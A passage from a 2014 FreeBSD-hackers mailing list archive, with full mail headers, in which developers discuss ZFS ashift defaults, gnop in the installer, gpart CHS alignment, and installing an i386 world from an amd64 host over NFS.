BhMCSUwxFjAUBgNVBAoTDVN0YXJ0Q29tIEx0ZC4xKzApBgNVBAsTIlNlY3VyZSBEaWdpdGFsIENl cnRpZmljYXRlIFNpZ25pbmcxODA2BgNVBAMTL1N0YXJ0Q29tIENsYXNzIDEgUHJpbWFyeSBJbnRl cm1lZGlhdGUgQ2xpZW50IENBAgMGoo4wDQYJKoZIhvcNAQEBBQAEggEARgOlSXNuT2OOkRy7M1FG EqOw7tUrJq4qovPDPg94v2xL+uSaXKjVqXqBvza7D4QQhJfv/Gxe7kx3PSPG9aoPFvCoDHXm565F Hawyvrl5AvOqUBU+EtC1UE0Yn/IZJZ1lCFQQX/8JKBHmwhbXyNkwGZ2DqaRc+rZOXOxzXqWVdw9M yCoIrCC0FmFliTnNGC658byP/1l+pzqKHYKHVAsO3WEWYm82ylsp4dGsJsTBKf5Rujten0mH0wbl YtgydKI5iVOxGAJaT3peWmLKiWCpDTc2VvDmzMRSH4aR0NQ8TkpLIo/7tpQMD+xlpdfE06gh40hW qw+kjsQVPp2ORtbrnAAAAAAAAA== --Apple-Mail-7E947E89-3A08-4302-9AB1-6606FAB0234C-- From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 2 05:33:01 2014 Return-Path: Delivered-To: freebsd-hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 4DB09985; Mon, 2 Jun 2014 05:33:01 +0000 (UTC) Received: from gw.catspoiler.org (gw.catspoiler.org [75.1.14.242]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 2A9022A9F; Mon, 2 Jun 2014 05:33:00 +0000 (UTC) Received: from FreeBSD.org (mousie.catspoiler.org [192.168.101.2]) by gw.catspoiler.org (8.13.3/8.13.3) with ESMTP id s525Wiqn020165; Sun, 1 Jun 2014 22:32:48 -0700 (PDT) (envelope-from truckman@FreeBSD.org) Message-Id: <201406020532.s525Wiqn020165@gw.catspoiler.org> Date: Sun, 1 Jun 2014 22:32:44 -0700 (PDT) From: Don Lewis Subject: Re: fdisk(8) vs gpart(8), and gnop To: mahrens@delphix.com In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Cc: freebsd-fs@FreeBSD.org, freebsd-hackers@FreeBSD.org, nwhitehorn@FreeBSD.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 02 Jun 2014 05:33:01 -0000 On 1 Jun, Matthew Ahrens wrote: > On Sun, Jun 1, 2014 at 9:07 AM, Nathan Whitehorn > wrote: > >> On 06/01/14 09:00, Steven Hartland wrote: >> >>> >>> ----- Original Message ----- From: "Nathan Whitehorn" < >>> nwhitehorn@freebsd.org> >>> To: ; >>> Sent: Sunday, June 01, 2014 4:55 PM >>> Subject: Re: fdisk(8) vs gpart(8), and gnop >>> >>> >>> On 06/01/14 08:52, Steven Hartland wrote: >>>> >>>>> ----- Original Message ----- From: "Mark Felder" >>>>> >>>>> On May 31, 2014, at 20:57, Freddie Cash wrote: >>>>>> >>>>>> There's a sysctl where you can set the minimum ashift for zfs. Then >>>>>>> you >>>>>>> never need to use gnop. >>>>>>> >>>>>>> I believe it's part of 10.0? >>>>>>> >>>>>> >>>>>> I've not seen this yet. What we need is to port the ability to set >>>>>> ashift at pool creation time: >>>>>> >>>>>> $ zpool create -o ashift=12 tank mirror disk1 disk2 mirror disk3 disk4 >>>>>> >>>>>> I believe the Linux zfs port has this functionality now, but we still >>>>>> do not. >>>>>> >>>>> >>>>> We don't have that direct option yet but you can achieve the >>>>> same thing by setting: vfs.zfs.min_auto_ashift=12 >>>>> >>>>> Does anyone have any objections to me changing this default, right >>>> now, today? >>>> -Nathan >>>> >>> >>> I think you will get some objections to that, as it can have quite an >>> impact >>> on the performance for disks which are 512, due to the increased overhead >>> of >>> transfering 4k when only 512 is really required. This has a more dramatic >>> impact on RAIDZx due too. >>> >>> Personally we run a custom kernel on our machines which has just this >>> change >>> in it to ensure capability with future disks, so I can confirm it does >>> indeed >>> have the desired effect :) >>> >> >> So the discussion here is related to what to do about the installer. The >> current ZFS component unconditionally creates gnops all over the place to >> set ashift to 4k. That's across the board worse: it has exactly the >> performance impact of changing the default of this sysctl (whatever that >> is), it can't easily be overridden (which the sysctl can), and it's a >> horrible hack to boot. There are a few options: >> >> 1. Change the default of vfs.zfs.min_auto_ashift >> > > This is probably a bad idea -- as others have mentioned, it can drastically > impact space usage and performance on 512B disks, especially when using > small ZFS blocks (e.g. for databases or VDI) and/or RAID-Z. That said, it > could be a reasonable default for specialized distros that are not used for > these workloads (maybe FreeNAS or PCBSD?). > > 2. Have the same effect but in a vastly worse way by adjusting the >> installer to create gnops >> 3. Have ZFS choose by itself and decide to do that permanently. >> > > If the device reports a 512B sector size, it would be great for ZFS to > assume the device could be lying, and automatically determine the minimum > ashift which gives good performance. I think this could be done reasonably > well for the common case by doing the following when each 512B-sector > device is added: > > 1. do random 4KB writes to the disk to determine wIOPS@4K > 2. do random 3.5KB writes to the disk to determine wIOPS@3.5K > > If wIOPS@4K > wIOPS@3.5K, assume 4KB sectors, otherwise assume 512B > sectors. (Note: I haven't tried this in practice; we will need to test it > out and perhaps make some tweaks.) Or maybe 1. do random 4KB writes that are 4KB aligned 2. do random 4KB writes that are not 4KB aligned That would eliminate any differences due to the I/O size. From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 2 09:09:04 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 61409FE5; Mon, 2 Jun 2014 09:09:04 +0000 (UTC) Received: from smtp1.multiplay.co.uk (smtp1.multiplay.co.uk [85.236.96.35]) by mx1.freebsd.org (Postfix) with ESMTP id 207772BA7; Mon, 2 Jun 2014 09:09:03 +0000 (UTC) Received: by smtp1.multiplay.co.uk (Postfix, from userid 65534) id 013E020E7088B; Mon, 2 Jun 2014 09:09:02 +0000 (UTC) X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on smtp1.multiplay.co.uk X-Spam-Level: ** X-Spam-Status: No, score=2.3 required=8.0 tests=AWL,BAYES_00,DOS_OE_TO_MX, FSL_HELO_NON_FQDN_1,HELO_NO_DOMAIN,RDNS_DYNAMIC,STOX_REPLY_TYPE autolearn=no version=3.3.1 Received: from r2d2 (82-69-141-170.dsl.in-addr.zen.co.uk [82.69.141.170]) by smtp1.multiplay.co.uk (Postfix) with ESMTPS id 1065A20E70886; Mon, 2 Jun 2014 09:08:57 +0000 (UTC) Message-ID: <35E54263991449299DE1F938A3DA83B0@multiplay.co.uk> From: "Steven Hartland" To: "Matthew Ahrens" , "Nathan Whitehorn" References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> <3D6974D83AE9495E890D9F3CA654FA94@multiplay.co.uk> <538B4CEF.2030801@freebsd.org> Subject: Re: fdisk(8) vs gpart(8), and gnop Date: Mon, 2 Jun 2014 10:09:02 +0100 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6157 Cc: freebsd-fs , FreeBSD Hackers , George Wilson X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 02 Jun 2014 09:09:04 -0000 ----- Original Message ----- From: "Matthew Ahrens" > On Sun, Jun 1, 2014 at 8:55 AM, Nathan Whitehorn > wrote: > >> On 06/01/14 08:52, Steven Hartland wrote: >> >>> ----- Original Message ----- From: "Mark Felder" >>> >>> On May 31, 2014, at 20:57, Freddie Cash wrote: >>>> >>>> There's a sysctl where you can set the minimum ashift for zfs. Then you >>>>> never need to use gnop. >>>>> >>>>> I believe it's part of 10.0? >>>>> >>>> >>>> I've not seen this yet. What we need is to port the ability to set >>>> ashift at pool creation time: >>>> >>>> $ zpool create -o ashift=12 tank mirror disk1 disk2 mirror disk3 disk4 >>>> >>>> I believe the Linux zfs port has this functionality now, but we still do >>>> not. >>>> >>> > I am strongly against implementing "-o ashift=12"[*]. If we need to > explicitly tell ZFS what sector size to use, we should make that intention > clear with an appropriately named property, for example "-o > device_sector_size=4K". Even better, this property should be per-disk. > > --matt > > [*] Once we implement an appropriately-named property, I would be OK with > also allowing the "-o ashift=12" as a Linux compatibility feature. Being able to override the detected sector size for a disk would get my vote as that would result in everything else just working and would be able to have different ashift per top level vdev. That said I'm not sure if that should be a ZFS option or just a OS option? IIRC solaris / illumos has that ability already? Regards Steve From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 2 12:02:04 2014 Return-Path: Delivered-To: hackers@FreeBSD.org Received: from mx2.freebsd.org (mx2.freebsd.org [IPv6:2001:1900:2254:206a::19:2]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DB1A4D37; Mon, 2 Jun 2014 12:02:04 +0000 (UTC) Received: from butcher-nb.yandex.net (hub.freebsd.org [IPv6:2001:1900:2254:206c::16:88]) by mx2.freebsd.org (Postfix) with ESMTP id 298D043DA; Mon, 2 Jun 2014 12:02:02 +0000 (UTC) Message-ID: <538C6795.9080005@FreeBSD.org> Date: Mon, 02 Jun 2014 16:01:25 +0400 From: "Andrey V. Elsukov" User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: Warren Block , Ian Lepore Subject: Re: fdisk(8) vs gpart(8), and gnop References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> <20140601020053.GR43976@funkthat.com> <1401632369.20883.51.camel@revolution.hippie.lan> In-Reply-To: X-Enigmail-Version: 1.6 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="kwwjAOIFnuqI1X8ROvEQgRTC5FTPcDKDI" Cc: John-Mark Gurney , hackers@FreeBSD.org, "Michael W. Lucas" , Marcel Moolenaar X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 02 Jun 2014 12:02:04 -0000 This is an OpenPGP/MIME signed message (RFC 4880 and 3156) --kwwjAOIFnuqI1X8ROvEQgRTC5FTPcDKDI Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable On 01.06.2014 18:36, Warren Block wrote: > Thread starts here: > http://lists.freebsd.org/pipermail/freebsd-geom/2014-February/005835.ht= ml >=20 >> For the longest time geom would warn about "geometry does not match >> label" that had something to do with different parts of the code >> calculating different CHS values. Eventually it was decided to remove= >> the unactionable message, and my vague memory is that the justificatio= n >> was basically "because CHS is meaningless to geom and modern BIOSen." >> >> If there's some "it would cause problems on this ancient hardware that= >> only 3 people in the world use" (I'm usually one of those people -- we= >> support some old equipment in the field at $work), then maybe there >> could be a flag that enables the old CHS alignment behavior. >=20 > Short form of above: gpart is supposed to hide and handle underlying > GEOM issues, so it needs an override to be able to create these > "non-standard" MBRs with slices aligned to arbitrary values. Hello, I propose add a sysctl variable kern.geom.part.mbr.enforce_chs which is set by default. Merge it to all branches, then change it to zero in head/. User could change it when he wants to use alignment to 4k. And if there is no objections against this, I can do it. --=20 WBR, Andrey V. Elsukov --kwwjAOIFnuqI1X8ROvEQgRTC5FTPcDKDI Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQEcBAEBAgAGBQJTjGebAAoJEAHF6gQQyKF6gCsH/i3XRwflxMgfE+wbN0wtQdQ/ lZoFQDvNVpkGn5pkCSeqTtSrHpWyT5AoAza6G1mQmEkPhlVy4lFd3Umhs4eceJf3 uaSPjFeFfCU6enJghG3s18xheejFCY36kNZNgK5XLlXcYXL1fCnOhh0NQab+7/rT DgZjegWGNdvi43xaskV2S8Qc1GxuYobHPW+wy8I2USfRsAWMhfXW9Pu4OT9HXavy kibWKtqTJ7kxhovk3KdfOUsErvOFElcIk1w2Fvb7Mk7kV/eBB11LEXeN+4ELtlHW dxsFQoEhaE8DfaMk/kZH+3L1Zpd+YaHJKTbDulebPOC5gK8Wp/RZthp2lf9yFxo= =YQ0W -----END PGP SIGNATURE----- --kwwjAOIFnuqI1X8ROvEQgRTC5FTPcDKDI-- From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 2 12:38:20 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 59D7DDE4 for ; Mon, 2 Jun 2014 12:38:20 +0000 (UTC) Received: from mx1.scaleengine.net (beauharnois2.bhs1.scaleengine.net [142.4.218.15]) by mx1.freebsd.org (Postfix) with ESMTP id 33AEA204E for ; Mon, 2 Jun 2014 12:38:19 +0000 (UTC) Received: from [192.168.1.70] (d206-75-77-44.abhsia.telus.net [206.75.77.44]) (Authenticated sender: allanjude.freebsd@scaleengine.com) by mx1.scaleengine.net (Postfix) with ESMTPSA id 15B4D7CAC9 for ; Mon, 2 Jun 2014 12:38:12 +0000 (UTC) Message-ID: <538C7035.5080700@freebsd.org> Date: Mon, 02 Jun 2014 08:38:13 -0400 From: Allan Jude User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: fdisk(8) vs gpart(8), and gnop References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> <3D6974D83AE9495E890D9F3CA654FA94@multiplay.co.uk> <538B4CEF.2030801@freebsd.org> <1DB2D63312CE439A96B23EAADFA9436E@multiplay.co.uk> <538B4FD7.4090000@freebsd.org> In-Reply-To: <538B4FD7.4090000@freebsd.org> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 02 Jun 2014 12:38:20 -0000 On 2014-06-01 12:07, Nathan Whitehorn wrote: > > So the discussion here is related to what to do about the installer. The > current ZFS component unconditionally creates gnops all over the place > to set ashift to 4k. That's across the board worse: it has exactly the > performance impact of changing the default of this sysctl (whatever that > is), it can't easily be overridden (which the sysctl can), and it's a > horrible hack to boot. There are a few options: > > 1. Change the default of vfs.zfs.min_auto_ashift > 2. Have the same effect but in a vastly worse way by adjusting the > installer to create gnops > 3. Have ZFS choose by itself and decide to do that permanently. > > Our ATA code is good about reporting block sizes now, so (3) isn't a big > issue except for the mixed-pool case, which is a huge PITA. > > We need to choose one of these. I favor (1). > -Nathan > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" I favour 1 as well. Note: the current ZFS installer script forces 4k with gnop if the option is turned on (it is by default), but you can have it not use gnop. But yes, this new sysctl (it is very new), is great. Will it be MFC'd in time for 9.3? -- Allan Jude From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 2 12:50:29 2014 Return-Path: Delivered-To: hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CE1D729F; Mon, 2 Jun 2014 12:50:29 +0000 (UTC) Received: from wonkity.com (wonkity.com [67.158.26.137]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "wonkity.com", Issuer "wonkity.com" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id 5B763213E; Mon, 2 Jun 2014 12:50:29 +0000 (UTC) Received: from wonkity.com (localhost [127.0.0.1]) by wonkity.com (8.14.8/8.14.8) with ESMTP id s52CoLAg007403 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO); Mon, 2 Jun 2014 06:50:21 -0600 (MDT) (envelope-from wblock@wonkity.com) Received: from localhost (wblock@localhost) by wonkity.com (8.14.8/8.14.8/Submit) with ESMTP id s52CoLiY007400; Mon, 2 Jun 2014 06:50:21 -0600 (MDT) (envelope-from wblock@wonkity.com) Date: Mon, 2 Jun 2014 06:50:21 -0600 (MDT) From: Warren Block To: "Andrey V. Elsukov" Subject: Re: fdisk(8) vs gpart(8), and gnop In-Reply-To: <538C6795.9080005@FreeBSD.org> Message-ID: References: <20140601004242.GA97224@bewilderbeast.blackhelicopters.org> <20140601020053.GR43976@funkthat.com> <1401632369.20883.51.camel@revolution.hippie.lan> <538C6795.9080005@FreeBSD.org> User-Agent: Alpine 2.00 (BSF 1167 2008-08-23) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.4.3 (wonkity.com [127.0.0.1]); Mon, 02 Jun 2014 06:50:21 -0600 (MDT) Cc: John-Mark Gurney , hackers@FreeBSD.org, "Michael W. Lucas" , Ian Lepore , Marcel Moolenaar X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 02 Jun 2014 12:50:29 -0000 On Mon, 2 Jun 2014, Andrey V. Elsukov wrote: > On 01.06.2014 18:36, Warren Block wrote: >> Thread starts here: >> http://lists.freebsd.org/pipermail/freebsd-geom/2014-February/005835.html >> >>> For the longest time geom would warn about "geometry does not match >>> label" that had something to do with different parts of the code >>> calculating different CHS values. Eventually it was decided to remove >>> the unactionable message, and my vague memory is that the justification >>> was basically "because CHS is meaningless to geom and modern BIOSen." >>> >>> If there's some "it would cause problems on this ancient hardware that >>> only 3 people in the world use" (I'm usually one of those people -- we >>> support some old equipment in the field at $work), then maybe there >>> could be a flag that enables the old CHS alignment behavior. >> >> Short form of above: gpart is supposed to hide and handle underlying >> GEOM issues, so it needs an override to be able to create these >> "non-standard" MBRs with slices aligned to arbitrary values. > > Hello, > > I propose add a sysctl variable kern.geom.part.mbr.enforce_chs which is > set by default. Merge it to all branches, then change it to zero in > head/. User could change it when he wants to use alignment to 4k. > And if there is no objections against this, I can do it. That's an interesting idea! If set, and the user asks for an alignment that is not allowed with CHS, gpart can mention that sysctl in the error message. From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 2 13:27:27 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 16432104; Mon, 2 Jun 2014 13:27:27 +0000 (UTC) Received: from mailout12.t-online.de (mailout12.t-online.de [194.25.134.22]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "mailout00.t-online.de", Issuer "TeleSec ServerPass DE-1" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id BEE8524BA; Mon, 2 Jun 2014 13:27:26 +0000 (UTC) Received: from fwd33.aul.t-online.de (fwd33.aul.t-online.de [172.20.27.144]) by mailout12.t-online.de (Postfix) with SMTP id D212E591D0; Mon, 2 Jun 2014 15:27:17 +0200 (CEST) Received: from [192.168.119.11] (bHQaeoZBghvOKVCAILlUZUoBz1pCLyX+16eQSP7-NeXmSIBVN+vsL3xO088eVhHZMa@[84.154.115.108]) by fwd33.t-online.de with esmtp id 1WrSGg-4Wkesy0; Mon, 2 Jun 2014 15:27:14 +0200 Message-ID: <538C7BAE.5080606@freebsd.org> Date: Mon, 02 Jun 2014 15:27:10 +0200 From: Stefan Esser User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0 MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: Upgrading an i386 machine from amd64. References: <538B61EC.9000403@mu.org> <538B7778.3040205@freebsd.org> <538B9158.5040409@delphij.net> <538B95EB.7070806@freebsd.org> In-Reply-To: <538B95EB.7070806@freebsd.org> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-ID: bHQaeoZBghvOKVCAILlUZUoBz1pCLyX+16eQSP7-NeXmSIBVN+vsL3xO088eVhHZMa X-TOI-MSGID: fcfa263d-84e7-4eed-88fb-05ddbedc625e X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 02 Jun 2014 13:27:27 -0000 Am 01.06.2014 23:06, schrieb Nathan Whitehorn:> On 06/01/14 13:47, Xin Li wrote: >> On 6/1/14, 11:56 AM, Nathan Whitehorn wrote: >>> Usually the strategy is to update the kernel first, since you can >>> use an amd64 kernel with i386 world. Then you reboot, then replace >>> world. >> That will not work well about a year ago and I don't think things >> have been improved since then. >> >> The biggest problem was that some system management API (e.g. for use >> with ifconfig(8) or dhclient(8) I don't remember the details) do not >> have proper 32-bit ABI implementations. It would be great if we can >> have them fixed though. >> > > Huh. It works great on PowerPC with 64-bit kernels and 32-bit worlds > -- has for years. I assumed i386 would be the same way. In any case, I > guess it's enough to get into single user mode and run installworld? It worked when I moved a system from i386 to amd64, some time back (during 10-CURRENT). No extra steps where required, AFAICR, but I created ZFS snapshots of all i386 files systems, just to be sure there was an easy fall-back path (without resorting to backups). And I kept the 32 bit version of /rescue under /rescue32, just in case ... It has been some time and I have not recently retried it - but I could start a buildworld in a i386 jail to see whether it runs to completion and produces amd64 binaries and libraries. But you could try this on your system as easily ... ;-) Regards, STefan From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 2 14:30:39 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 46195C29 for ; Mon, 2 Jun 2014 14:30:39 +0000 (UTC) Received: from udns.ultimateDNS.NET (ultimatedns.net [209.180.214.225]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 0C8C62C19 for ; Mon, 2 Jun 2014 14:30:37 +0000 (UTC) Received: from udns.ultimateDNS.NET (localhost [127.0.0.1]) by udns.ultimateDNS.NET (8.14.5/8.14.5) with ESMTP id s52EVCqm062357; Mon, 2 Jun 2014 07:31:18 -0700 (PDT) (envelope-from bsd-lists@bsdforge.com) Received: (from www@localhost) by udns.ultimateDNS.NET (8.14.5/8.14.5/Submit) id s52EV7EN062331; Mon, 2 Jun 2014 07:31:07 -0700 (PDT) (envelope-from bsd-lists@bsdforge.com) Received: from udns.ultimatedns.net ([209.180.214.225]) (UDNSMS authenticated user chrish) by ultimatedns.net with HTTP; Mon, 2 Jun 2014 07:31:07 -0700 (PDT) Message-ID: <409ccb2cf1dc027bdf6ff7ccbda08723.authenticated@ultimatedns.net> In-Reply-To: <538BDDF5.708@mu.org> References: <538B61EC.9000403@mu.org> <5B82C892-12A4-4251-B3D2-A6D3EAAF90F9@dataix.net> <538B6FCC.9090301@mu.org> <538B761C.7060300@mu.org> <50E51CBE-7F7B-4093-86A5-320ACE81072E@dataix.net> <538B7937.2030104@mu.org> <098847BE-04B5-4E6F-98B8-87B5C7055C69@mail.turbofuzz.com> <538B8494.3040701@mu.org> <7977A65A-5ABE-49DD-8E76-074B54943D64@mail.turbofuzz.com> <538BDDF5.708@mu.org> Date: Mon, 2 Jun 2014 07:31:07 -0700 (PDT) Subject: Re: Upgrading an i386 machine from amd64. From: "Chris H" To: "Alfred Perlstein" User-Agent: UDNSMS/2.0.3 MIME-Version: 1.0 Content-Type: text/plain;charset=utf-8 Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) Importance: Normal Cc: freebsd-hackers@freebsd.org, Jordan Hubbard X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 02 Jun 2014 14:30:39 -0000 > > On 6/1/14, 1:27 PM, Jordan Hubbard wrote: >> On Jun 1, 2014, at 12:52 PM, Alfred Perlstein wrote: >> >>> On 6/1/14, 12:45 PM, Jordan Hubbard wrote: >>>> On Jun 1, 2014, at 12:04 PM, Alfred Perlstein wrote: >>>> >>>>> Unfortunately I'm doing it over NFS and I don't think we support chflags over NFS (not >>>>> even with an extension). >>>> Try the installworld with NO_FSCHG=yes >>>> >>>> I think that catches at least 7 of the 8 places that need to be conditionalized. :) >>>> >>>> - Jordan >>>> >>> Thanks Jordan, >>> >>> I did wind up using that, but NFS still was giving me: >>> install -C -o root -g wheel -m 444 libcrypt.a /usr/soekris/usr/lib >>> install -C -o root -g wheel -m 444 libcrypt_p.a /usr/soekris/usr/lib >>> install -s -o root -g wheel -m 444 -fschg libcrypt.so.5 /usr/soekris/lib >>> install: /usr/soekris/lib/libcrypt.so.5: Input/output error >> Well, like I said, I think the NO_FSCHG implementation is incomplete. That’s weird though >> - bsd.lib.mk (in -current at least) does have a NO_FSCHG check. Are you sure that’s set >> in your environment? Did that change not make it into whatever branch you’re using, >> perhaps? > OK you were right about me forgetting to set NO_FSCHG in that pass, > however even when I set it: > > /usr/src # NO_FSCHG=YES TARGET=i386 DESTDIR=/usr/soekris make installworld > .... > ===> lib/libcrypt (install) > install -C -o root -g wheel -m 444 libcrypt.a /usr/soekris/usr/lib > install -C -o root -g wheel -m 444 libcrypt_p.a /usr/soekris/usr/lib > install -s -o root -g wheel -m 444 libcrypt.so.5 /usr/soekris/lib > install: /usr/soekris/lib/libcrypt.so.5: Input/output error > *** Error code 71 > > Stop. > make[5]: stopped in /usr/trees/freebsd.git/lib/libcrypt > > It appears it's that schg is set on it on the target host: > > .(02:10:18)(alfred@soekris.local) > /lib % ls -lo libcrypt* > -r--r--r-- 1 root wheel schg 81988 Aug 16 2013 libcrypt.so.5 > -r--r--r-- 1 root wheel - 1468336 Aug 16 2013 libcrypto.so.6 > -r--r--r-- 1 root wheel - 1626140 Jun 1 11:15 libcrypto.so.7 > > Ugh, that was frustrating... but now fixed sorta... > > Is there a post-processing step i can do on the target install host to > get my schg bits set on the right things? > > -Alfred I realize I'm coming in a little late in the game. But would make kernel-toolchain for a 32bit ARC have been of any help, prior to some/all of the rest? --Chris > > > > > >> - Jordan >> >> >> _______________________________________________ >> freebsd-hackers@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" >> > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > > From owner-freebsd-hackers@FreeBSD.ORG Mon Jun 2 14:42:34 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id AEA8080 for ; Mon, 2 Jun 2014 14:42:34 +0000 (UTC) Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by mx1.freebsd.org (Postfix) with ESMTP id 96B7F2DBE for ; Mon, 2 Jun 2014 14:42:34 +0000 (UTC) Received: from Alfreds-MacBook-Pro-2.local (c-76-21-10-192.hsd1.ca.comcast.net [76.21.10.192]) by elvis.mu.org (Postfix) with ESMTPSA id C9CD41A3C4B; Mon, 2 Jun 2014 07:42:33 -0700 (PDT) Message-ID: <538C8DDF.3030602@mu.org> Date: Mon, 02 Jun 2014 07:44:47 -0700 From: Alfred Perlstein User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Chris H Subject: Re: Upgrading an i386 machine from amd64. References: <538B61EC.9000403@mu.org> <5B82C892-12A4-4251-B3D2-A6D3EAAF90F9@dataix.net> <538B6FCC.9090301@mu.org> <538B761C.7060300@mu.org> <50E51CBE-7F7B-4093-86A5-320ACE81072E@dataix.net> <538B7937.2030104@mu.org> 